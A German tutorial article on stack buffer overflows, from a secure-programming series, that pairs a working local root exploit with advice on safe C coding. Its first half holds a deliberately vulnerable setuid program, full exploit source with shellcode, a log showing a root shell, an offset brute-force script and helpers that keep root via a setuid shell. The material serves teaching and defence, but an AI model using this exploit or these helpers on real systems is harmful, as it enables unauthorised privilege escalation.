Vermeiden von Sicherheitsl�chern beim Entwickeln einer Applikation - Teil 3: Buffer Overflow

ArticleCategory:

Software Development

AuthorImage:

[image of the authors]

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

fr to en Georges Tarbouriech

en to en Lorne Bailey

en to de Guido Socher

AboutTheAuthor:

Christophe Blaess ist ein unabh�ngiger Raumfahrtingenieur. Er ist ein Linuxfan und arbeitet die meiste Zeit mit diesem System. Er koordiniert die �bersetzung der Man-pages, die vom Linux Dokumentationsprojekt ver�ffentlicht werden.

Christophe Grenier ist Student im f�nften Semester an der ESIEA, wo er auch als Systemadministrator arbeitet. Er hat eine Leidenschaft f�r Computersicherheit.

Fr�d�ric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von k�nstlichen Hormonen und ohne BSE .... es enth�lt nur den Schwei� ehrlicher Leute und einige Tricks.

Abstract

Ein Buffer Overflow (�berlauf eines Pufferspeichers) entsteht, wenn Daten �ber die Grenzen eines Speicherbereichs hinaus geschrieben werden. In diesem Artikel erzeugen wir einen echten Buffer Overflow in einem Programm. Wir zeigen, das der Buffer Overflow ein leicht auszunutzendes Sicherheitsloch darstellt und wie man es vermeidet. In diesem Artikel wird angenommen, da� du die beiden vorangegangenen Artikel gelesen hast:

ArticleIllustration:[illustration]

[article illustration]

ArticleBody:[The real article: put the text and html-codes here]

Buffer Overflow

In unserem vorangegangenen Artikel haben wir eine kleines Programm , ca 50 Bytes gro�, geschrieben das eine Shell startete oder im Fehlerfall abbrach. Nun wird diese Programm in die Applikation, die wir angreifen m�chten, eingef�gt. Das macht man, indem die R�cksprungadresse einer Funktion �berschrieben wird und durch die Adresse des Shellcodes ersetzt wird. Der Stack wird manipuliert, indem Daten �ber die Grenzen einer automatisch allokierten Stack-Variablen hinausgeschrieben werden (Buffer Overflow).

In dem folgenden Programm wird das erste Kommandozeilenargument in eine Variable, die 500 Bytes lang ist, kopiert. Der Kopiervorgang erfolgt ohne zu testen, ob die Daten gr��er als 500 Bytes sind. Wir werden weiter unten sehen, da� man dieses Problem h�tte vermeiden k�nnen, wenn die Funktion strncpy() benutzt worden w�re.

  /* vulnerable.c */

  #include <string.h>

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }

buffer ist eine automatische Variable. Der Speicherplatz von 500 Bytes wird auf dem Stack reserviert, sobald die Funktion main() aufgerufen wird. Wenn wir das so verletzbare Programm mit einem Kommandozeilenargument aufrufen, das l�nger als 500 Zeichen ist, dann l�uft der Speicherbereich �ber und schreibt ung�ltige Daten in den Proze�stack. Wie wir zuvor gesehen haben, enth�lt der Stack die als n�chstes auszuf�hrende Adresse (genannt R�cksprungadresse). Um dieses Sicherheitsloch auszunutzen, ist es genug die R�cksprungadresse mit der Adresse unseres Shellcodes zu �berschreiben. Der Shellcode selbst wird einfach in der Variablen abgelegt.

Die Position im Speicher

Die richtige Speicheradresse unseres Shellcodes zu erhalten, ist etwas trickreich. Wir m�ssen den Offset zwischen dem %esp Register und dem oberen Ende des Stacks finden. Um eine kleine Sicherheitszone zu erhalten und unsere Chancen zu verbessern, f�llen wir den Anfang des �berschriebenen Speicherbereiches mit der Assembleranweisung NOP. Es ist eine 1 Byte Anweisung, die nichts macht. Es wird einfach zur n�chsten Adresse gesprungen. Wenn wir unsere Startadresse versehentlich etwas zu weit vorne ansetzen, dann geht die CPU einfach von NOP zu NOP, bis unser Shellcode erreicht ist und ausgef�hrt wird. Um die Treffsicherheit noch weiter zu verbessern setzen wir unseren Shellcode in die Mitte des �berschriebenen Speicherbereiches. Vorneweg stellen wir NOP Anweisungen und das Ende f�llen wir mit Sprunganweisungen auf, die auf den Anfang des Shellcodes zeigen. Das Abbildung 1 zeigt das:

Abb. 1 : Speicherbereiche speziell pr�pariert f�r den Angriff.
[buffer]


Abbildung 2 beschreibt den Zustand des Stacks von und nach dem Buffer Overflow. All die gespeicherten Register (abgespeicherter %ebp, %eip, Argumente...) werden mit einer neuen R�cksprungadresse �berschrieben: Der Anfangsadresse unseres Shellcodes.

Abb. 2 : Zustand des Stacks vor und nach dem Overflow
pile_bef.gif
pile_aft.gif
Vor
Nach


Es gibt jedoch noch ein weiteres Problem, das mit der Ausrichtung von Variablen im Stack zusammenh�ngt (variable alignment). Die Adresse der Variablen ist l�nger als 1 Byte und wird daher in mehreren Bytes abgespeichert. Damit kann die Ausrichtung im Speicher unterschiedlich sein. Da unsere CPU 4 Byte Worte benutzt, kann die Ausrichtung (alignment) 0, 1, 2 oder 3 Bytes sein (siehe Teil 2 = article 183 �ber Stackaufbau). In Abbildung 3, entsprechen die grauen Teile den 4 Bytes der Adresse. Nur im ersten Fall, bei dem die Variable komplett �berschrieben wird, ist der Angriff erfolgreich. Die anderen Versuche f�hren zu segmentation violation oder illegal instruction Fehlern. Man kann das bei einem beliebigen Programm nur empirisch herausfinden, aber mit den heutigen Computern ist diese Art von Tests kein Problem.

Abb. 3 : m�gliche Ausrichtungen eines 4 Byte Wortes
[align]

Startprogramm

Wir werden ein kleines Programm schreiben, das die anzugreifende Applikation startet und einen Buffer Overflow erzeugt. Dieses Programm hat verschiedene Optionen, um den Shellcode im Speicher zu positionieren. Diese Version geht auf Aleph Ones Artikel aus dem phrack Magazine 49 zur�ck und kann von Christophe Greniers Webseite heruntergeladen werden.

Wie schreiben die pr�parierten Daten in die anzugreifende Applikation? Normalerweise kann man einen Kommandozeilenparameter wie den im oben vorgestellten vulnerable.c Programm oder eine Umgebungsvariable benutzen. Die Daten k�nnen auch aus einer Datei gelesen werden.

Das generic_exploit.c allokiert die richtige Buffergr��e, kopiert den Shellcode dorthin und f�llt den Rest mit NOP Anweisungen wie oben erkl�rt. Als n�chstes wird die anzugreifende Applikation mit execve() gestartet und ein Buffer Overflow erzeugt. Das Lauch Programm generic_exploit braucht die folgenden Parameter:
Gr��e der verletzbaren Variablen (der Wert sollte ein wenig gr��er sein, um zu erreichen, da� die R�cksprungadresse auch �berschrieben wird).
Au�erdem Memory Offset und Ausrichtung (alignment).
Wir m�ssen weiterhin angeben, ob der Overflow �ber eine Umgebungsvariable (var) oder �ber die Kommandozeile (novar) erfolgt. Der Parameter force/noforce entscheidet, ob die setuid()/setgid() Funktion aus dem Shellcode heraus ausgef�hrt oder nicht.


/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE     1
#define A_OFFSET    2
#define A_ALIGN     3
#define A_VAR       4
#define A_FORCE     5
#define A_PROG2RUN  6
#define A_TARGET    7
#define A_ARG       8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar)
             (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;          /* movb $0x17,%al   */
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;          /* movb $0x2e,%al   */
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

Um unser vulnerable.c Programm anzugreifen, m�ssen wir einen Speicherbereich belegen, der gr��er ist als die L�nge der Variablen im Programm. Wir nehmen 600 Bytes (die Variable ist 500 Bytes lang). Wir finden den Offset zum Anfang des Stacks �ber einfache Tests. Die Adresse, die mit der Anweisung addr = get_sp() + offset; erzeugt wird, wird benutzt, um die R�cksprungadresse zu �berschreiben. Du wirst den richtigen Wert mit etwas Gl�ck finden. Die ganze Sache beruht auf der Annahme, da� das %esp Register sich nicht zu stark zwischen dem am Anfang aufgerufenen und dem am Ende gestarteten Proze� �ndern wird. In der Praxis ist nat�rlich nichts wirklich sicher. Verschiedene Ereignisse k�nnten den Zustand des Stacks von dem Zeitpunkt der Berechnung bis zum eigentlichen Angriff ver�ndern. Hier haben wir es geschafft, einen Angriff mit einem Offset von -1900 Bytes zu starten. Nat�rlich mu�, damit die Sache Sinn macht, unser vulnerable Programm ein Set-UID root Programm sein.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
Im ersten Fall (noforce) �ndert sich unser UID nicht. Nichtsdestotrotz haben wir eine neue euid, die uns alle Rechte gibt, die wir brauchen. Daher, selbst wenn vi w�hrend des Editierens der /etc/passwd sagt "read only", kann man das Schreiben der �nderungen mit w! erzwingen :) Der Parameter force kann jedoch benutzt werden, um gleich zu Anfang uid=euid=0 zu haben.

Um automatisch geeignete Offsets Werte zu erhalten, kann man folgendes kleines Shellscript benutzen:

 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
Unser Angriff hat bisher die m�glichen alignment Probleme nicht ber�cksichtigt . Daher ist es m�glich das dieses Beispiel so bei dir nicht funktioniert. Es gibt jedoch nur 4 M�glichkeiten f�r den alignment Parameter m: 0, 1, 2 oder 3. Einige Systeme lassen nur das Schreiben in ganze Speicherworte zu. Bei Linux gilt diese Einschr�nkung jedoch nicht.

Shell Probleme

Leider ist die von unserem Shellcode gestartete Shell manchmal nicht nutzbar, da sie sich selbst beendet oder stirbt, sobald man eine Taste dr�ckt. Wir benutzen ein weiteres Programm, um die Privilegien, die wir so m�hsam erworben haben auch zu behalten:

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

Da unser Programm nur eine Aufgabe gleichzeitig ausf�hren kann, transferrieren wir die Privilegien, die wir mit dem run_shell Programm erworben haben mit Hilfe des set_run_shell Programmes. Damit erhalten wir eine stabile Shell.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
Die Option -i steht f�r interactive und startet eine Shell in der wir etwas eingeben k�nnen. Warum starten wir nicht immer eine solche Shell? Das s-bit ist nicht f�r jede Shell verf�gbar. Neuere Versionen �berpr�fen, ob die uid identisch mit der euid ist und das gleiche gilt f�r die gid und die egid. bash2 und tcsh enthalten diesen Abwehrmechanismus, aber weder bash, noch ash haben ihn. Dieser Mechanismus mu� weiter verfeinert werden, wenn die Platten-Partition, auf der sich run_shell befindet, hier /tmp, mit nosuid oder noexec gemountet worden ist.

Abwehr und Vorsorge

Bisher haben wir gezeigt, wie man einen Buffer Overflow in einem verletzbaren Programm erzeugt. Jetzt werden wir zeigen, wie man solche Sicherheitsl�cher beim Programmieren vermeiden kann.

Index pr�fen

Die erste Regel ist, da� man den Index eines Arrays immer �berpr�ft. Eine ungeschickt programmierte Schleife wie :

  for (i = 0; i <= n; i ++) {
    table [i] = ...
enth�lt einen Fehler, da das <= in der Abfrage statt < benutzt wird. Damit wird �ber das Ende des Arrays hinaus auf den Speicher zugegriffen. Nicht so einfach ist das bei herunterz�hlenden Schleifen zu sehen. Abgesehen von dem Trivialfall for(i=0; i<n ; i++) sollte man seinen Algorithmus immer genau �berpr�fen, speziell, wenn der Index noch in der Schleife ver�ndert wird.

Das gleiche Problem findet man bei Strings. Bedenke, da� immer ein Byte mehr gebraucht wird f�r das abschlie�ende Nullzeichen. Eines der h�ufigsten Anf�ngerprobleme ist das Vergessen dieses abschlie�enden '\0' Zeichens. So ein Fehler ist au�erdem schwer zu diagnostizieren, da die Ausrichtung vom Compiler abh�ngt und das Programm oft einwandfrei laufen kann.

Untersch�tze Array Index Variablen nicht bez�glich ihres Sicherheitsproblemes. Nur ein Byte zu viel (siehe Phrack Ausgabe 55) ist genug, um ein Sicherheitsloch zu erzeugen.

  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* end of string */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i<BUFFER_SIZE; i++)
      buffer[i] = ...
  }

Benutze die n Funktionen

Bei Konvention erkennen die Standard C Funktioen das Ende eines Strings an dem Null Byte. Z.B kopiert die strcpy(3) Funktion einen String bis sie ein Null Byte findet. Das kann in einigen F�llen gef�hrlich sein. Der folgende Code enth�lt so ein Sicherheitsloch:
  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }
Funktionen, die die L�nge des kopierten Codes �ber einen Parmameter begrenzen, vermeiden das Problem. Diese Funktionen haben ein `n' in der Mitte ihres Namens. strncpy(3) ist z.B ein Ersatz f�r strcpy(3), strncat(3) f�r strcat(3) und strnlen(3) f�r strlen(3)...

Man mu� jedoch vorsichtig sein, da diese Funktionen im Fehlerfall einen sogenannten Eckeneffekt haben. Wenn der Quellstring k�rzer als die Zielvariable ist, dann wird das Null Byte mitkopiert und der String in der Zielvariablen ist sauber terminiert. Das ist nicht der Fall, wenn der String zu lang war. In diesem Fall mu� man das Null Byte zus�tzlich einf�gen. Damit sieht unser Code von oben so aus:

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT+1];
    strncpy (identity, name, LG_IDENT);
    identity [LG_IDENT] = '\0';
    ...
  }
Das gleiche gilt nat�rlich f�r Funktionen, die Zeichen breiter als 8 Bit ver�ndern, wie z.B wcscpy(3). Hier sollte man wcsncpy(3) benutzen und wcsncat(3) statt wcscat(3). Sicher, das Programm wird gr��er, aber die Sicherheit verbessert sich auch. Wie bei strncpy sollte man auch das Null Byte nicht bei strncat(3) vergessen. strcat(buffer1, buffer2); wird immer durch strncat(buffer1,buffer2, sizeof(buffer1)-1); ersetzt. Damit stimmt die L�nge.

Mit sprintf() kopiert man formatierte Daten in einen String. Auch diese Funktion gibt es als 'n'-Funktion: snprintf(). Die Funktion gibt die Anzahl der in die Variable geschriebenen Zeichen zur�ck (ohne das `\0' Zeichen zu z�hlen). Testet man diesen R�chgabewert, so kann man sehen, ob alles korrekt geschrieben wurde:

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* Overflow */
    ...
  }

Offensichtlich ist diese Abfrage nichts wert, da der Benutzer schon die Kontrolle �ber den Stack hat. Solch ein Sicherheitsloch in BIND (Berkeley Internet Name Daemon) wurde von vielen Crackern ausgenutzt:

  struct hosten *hp;
  unsigned long address;

  ...

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

Das sollte immer 4 Bytes kopieren, aber wenn man hp->h_length �ndert, dann kann man den Stack modifizieren. Entsprechend ist es zwingend n�tig, die L�nge vorher zu testen:
  struct hosten *hp;
  unsigned long address;

  ...

  /* test */
  if (hp->h_length > sizeof(address))
    return 0;

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...
In einigen F�llen ist es nicht m�glich, einfach so abzubrechen oder Daten abzuschneiden (host Name URL...). Dann m�ssen die Abfragen fr�her, bei der Eingabe, erfolgen.

�berpr�fen der Daten in zwei Stufen

Ein Programm das mit Privilegien ungleich den Privilegien des Benutzers l�uft, impliziert, da� man zun�chst alle Daten als "verd�chtig" betrachtet.

Das betrifft vor allem Stringeingaberoutinen. Niemals sollte man gets(char *array) benutzen (Anmerkung des Autors: Diese Funktion sollte durch den Linker verboten werden!). Eine heimt�ckische Falle liegt in scanf():

scanf ("%s", string)
Das ist genauso gef�hrlich wie gets(char *array) aber es ist nicht so offensichtlich. Die Funktionen aus der scanf() Familie haben jedoch einen Mechanismus, um die L�nge zu kontrollieren:
  char buffer[256];
  scanf("%255s", buffer);
Diese Art der Formatierung limitiert die Anzahl der Zeichen, die in buffer kopiert werden, auf 255. Eine Falle besteht jedoch darin, da� scanf() Daten, die es nicht annimmt, im Eingabestream l��t.

C++ hat das gleiche Problem wie die Eingabefunktionen von C.

  char buffer[500];
  cin>>buffer;
Wie man sehen kann, gibt es keine L�ngentests. Wir sind in der gleichen Situation, wie bei gets(char *array). Die C++ ios::width() Funktion kann das Problem l�sen, indem sie die Anzahl der gelesenen Zeichen begrenzt.

Die richtige L�sung f�r unser scanf() Problem ist, zuerst die L�nge zu begrenzen und dann die Zeichenkette mit sscanf() zu lesen. Das gilt f�r alle Probleme dieser Art. Wir benutzen also erst fgets(char *array, int size, FILE stream) und begrenzen damit die L�nge. Als n�chstes formatieren wir die Daten mit sscanf(). Im ersten Schritt kann man sogar noch mehr machen, wie z.B fgets innerhalb einer Schleife einen ausreichend gro�en Speicherbereich allokieren zu lassen. Die Gnu Funktion getline() macht das bereits f�r dich. Man kann die Daten auch noch validieren mit Funktionen wie isalnum(), isprint(), etc. Die Funktion strspn() ist ein guter Filter. Das Programm wird nur wenig langsamer, ist jedoch vor illegalen Daten gesch�tzt.

Direkte Dateneingabe ist nicht der einzige Punkt f�r einen Anriff. Es gibt noch Daten, die je nach Programm, �ber das Netzwerk oder aus einer Datei kommen k�nnen. Hier gelten die gleichen Regeln.

Sehr oft benutzen die Buffer Overflow Angriffe etwas anderes: Umgebungsvariablen. Man darf nicht vergessen das ein Benutzer die M�glichkeit hat, die Proze�umgebung v�llig zu ver�ndern. Die Konvention, da� Umgebungsvariablen immer die Form "NAME=VALUE" haben, mu� nicht stimmen. Die Routine getenv() erfordert einige Vorsicht. Erst die Ausgabe von getenv() mit fgets(char *array, int size, FILE stream) lesen, validieren, und dann die Daten benutzen!

Filter benutzt man so, da� alles, was nicht explizit erlaubt ist, verboten wird:

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Getting the data */
    data = getenv(var);

    /* Filtering
       Rem : obviously the replacement character must be
             in the list of the allowed ones !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }

Die Funktion strspn() macht es uns einfach: Sie sucht nach dem ersten Zeichen, das nicht in der Kette GOOD enthalten ist. Zur�ckgegeben wird die L�nge des Strings bis zum nicht erwarteten Zeichen. Man sollte die Logik niemals umdrehen. Immer gegen einen Zeichensatz mit den erwarteten Zeichen testen und niemals nur die gef�hrlichen Zeichen rausl�schen.

Dynamic buffers

Ein Buffer Overflow beruht darauf, da� der Stack �berschrieben wird. Auf dem Stack liegen die automatischen Daten. Eine M�glichkeit das Problem zu verschieben, ist einfach dynamische Variablen zu benutzen, die physikalisch auf der heap liegen. Dazu ersetzt man

  #define LG_STRING    128
  int fonction (...)
  {
    char array [LG_STRING];
    ...
    return (result);
  }
mit :
  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }
Diese Zeilen vergr��ern den Code und bergen das Risiko von Memory Leaks. Aber der Vorteil ist das jetzt beliebige L�ngen zul�ssig sind. Noch ein Wort der Warnung: alloca() ist verwandt mit malloc, legt die Daten aber auf den Stack. Damit entstehen die gleichen Probleme wie bei automatischen Variablen. Die Initialisierung des Speichers mit memset() vermeidet einige Probleme mit nicht initialisierten Variablen. Jedoch korrigiert es nie ein Buffer Overflow Problem. Die unter euch, die die malloc L�sung weiter verfolgen wollen, k�nnen einen Artikel �ber Heap Overflow in w00w00 lesen.

Zum Abschlu� m�chten wir noch sagen, da� es in einigen F�llen m�glich ist Sicherheitsl�cher tempor�r zu stopfen, indem man einfach ein static vor die Variable schreibt. Der Compiler allokiert diese Variablen in einem Segment, das weit vom Stack entfernt ist. Es wird unm�glich, eine Shell damit zu starten, aber man kann trotzdem Daten manipulieren oder das Programm zum Abst�rzen bringen und das wiederum kann f�r einen DoS (Denial of Service) Angriff n�tzlich sein. Nat�rlich funktioniert das nicht, wenn eine Funktion rekursiv aufgerufen wird. Diese "Medizin" sollte man als erste Hilfe betrachten und benutzen bis eine richtige L�sung vorhanden ist.

Zusammenfassung

Wir hoffen, da� dieser �berblick �ber Buffer Overflows dir hilft, sicherer zu programmieren. Selbst wenn der Ausbeutungsmechanismus komplex ist, ist es doch m�glich, ein Programm recht einfach auszunutzen. Andererseits ist es auch nicht so schwierig, ein sicheres Programm zu schreiben. Letztendlich ist es viel einfacher, ein Programm zur Entwicklungszeit sicher zu machen, als sp�ter die Fehler zu beheben.

Links

Links